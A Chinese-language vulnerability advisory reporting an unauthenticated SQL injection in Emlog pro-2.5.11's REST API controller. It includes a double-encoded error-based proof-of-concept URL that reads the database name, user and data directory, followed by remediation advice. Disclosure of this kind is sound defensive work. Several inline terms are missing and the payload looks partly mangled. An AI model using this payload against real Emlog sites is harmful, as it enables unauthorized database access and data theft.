关键漏洞信息 受影响产品 产品名称: Emlog 厂商主页: https://www.emlog.net 影响版本和修复版本 受影响文件: /include/controller/api_controller.php 版本: pro-2.5.11 漏洞类型 类型: SQL注入 根因 文件在 后未使用 ，导致可以通过 URL 双重编码绕过 。 影响 攻击者可以利用此 SQL 注入漏洞实现未经授权的数据库访问、敏感数据泄露、数据篡改、全面系统控制，甚至服务中断，对系统安全和业务连续性构成严重威胁。 描述 在对 的安全审查中，在 文件中发现了一个严重的 SQL 注入漏洞。攻击者可以获得未经授权的数据库访问权限，修改或删除数据，并访问敏感信息。 漏洞细节和 POC 无需登录或授权即可利用此漏洞 复现步骤: - 部署此系统并在本地打开浏览器访问以下 URL: http://192.168.1.58:88/index.php?rest-api=article_list&tag=%2572%26D%26updateem%25281%252Cconcat%25280x7e%252Cdatabase%2528%2529%252C0x7e%252Cuser%2528%2529%252C0x7e%252Cdatadir%2528%2529%252C0x7e%252B- - 访问该 URL 的结果如图所示，成功利用了类似 、 和 的语句分别读取数据库名、用户名和数据路径。 建议修复措施 1. 使用预处理语句和参数绑定。 2. 输入验证和过滤。 3. 最小化数据库用户权限。 4. 定期进行安全审计。